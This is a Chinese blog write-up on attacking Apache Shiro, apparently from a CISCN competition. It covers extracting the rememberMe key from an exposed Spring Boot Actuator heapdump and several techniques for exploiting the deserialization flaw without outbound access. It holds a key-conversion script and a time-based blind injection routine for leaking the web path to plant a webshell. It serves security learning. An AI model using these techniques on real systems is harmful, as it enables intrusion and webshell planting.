遇到的一些Shiro利用
Nbc Lv3

遇到的一些Shiro利用

heapdump泄露密钥key

这个是在ciscn final渗透中遇到的。

在这里大概记录一下(想搭个环境最后利用老是坏掉,开发的能力还是很欠缺)

访问这个接口/actuator/

image

Spring Boot Actuator 是一个非常强大的工具包,它提供了一组内置的端点(endpoints),用于监控和管理 Spring Boot 应用程序。这些端点可以提供有关应用程序的运行时信息,例如健康状态、环境变量、HTTP 路由等,还可以执行诸如清理缓存、触发垃圾回收等操作。

heapdump是生成的一个包含 Java 虚拟机(JVM)堆内存状态的文件

默认情况下,Actuator 提供的许多端点是禁用的

所以在可以匿名访问或者未授权访问时能用,一般配置里这样写

1
2
3
4
5
6
7
8
9
10
management:
endpoints:
web:
exposure:
include: health,info,heapdump
endpoint:
health:
show-details: always
heapdump:
enabled: true

1
2
3
management.endpoints.web.exposure.include=health,info,heapdump
management.endpoint.health.show-details=always
management.endpoint.heapdump.enabled=true

点击可以下载heapdump文件

我们可以使用工具做掉它

image

可以看到不只key其实还有很多其他东西可以探索

除了这个工具我们还可以使用java自带的

jvisualvm.exe:Java自带的工具,默认路径为:JDK目录/bin/jvisualvm.exe

image

image

可以进行类的过滤,想想我们分析shiro反序列化原理时候的类,我们可以搜一下

image

看看CookieRememberMeMananger

image

找到key使用脚本转换一下

1
2
3
4
import base64
import struct

print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', -82, -68, 32, -43, -68, -49, -114, 1, 49, 83, -84, -69, -19, 10, -14, 121)))

image

Shrio不出网利用

不出网显而易见就是无法访问外网,很多情况就是能拿到shell但是没办法反弹shell,可能就是把服务器的某个端口映射出来了等等

检测可以使用zhzyker/shiro-1.2.4-rce: shiro <= 1.2.4 反序列化远程命令执行利用脚本 (github.com)

改写了ysoserial,增加时延来判断是否存在漏洞

遍历链子和key来判断利用链

成功后可以进一步利用

在我的了解下主要就是这几个方面解决shiro不出网利用:

  • 定位Web目录写入文件

比如可以在前端源码中找到某个文件夹是存放文件的可以写进去

  • 构造回显

构造通用回显

  • 内存马

写内存马

  • 时间延迟获取Web路径写入webshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def BinarySearch(target, index, left, right, lowerStdLimit):
while True:
mid = (left + right)/2
if mid == left:
return chr(mid)
break
code1 = """
String var1 = Thread.currentThread().getContextClassLoader().getResource("").getPath();
int a = (int) var1.charAt(%d);
if (a < %d) {
Thread.currentThread().sleep(5000L);
}
""" % (index, mid)

code2 = """
String var1 = Thread.currentThread().getContextClassLoader().getResource("").getPath();
int a = (int) var1.charAt(%d);
if (a < %d) {
Thread.currentThread().sleep(0000L);
}
""" % (index, mid)

code1_base64 = base64.b64encode(code1)
re_value1 = poc(code1_base64)

code2_base64 = base64.b64encode(code2)
re_value2 = poc(code2_base64)

time1 = resp_time(target, re_value1)


if time1 > lowerStdLimit:
time2 = resp_time(target, re_value2)
if time2 <= lowerStdLimit:
right = mid
else:
left = mid
else:
left = mid
由 Hexo 驱动 & 主题 Keep
访客数 访问量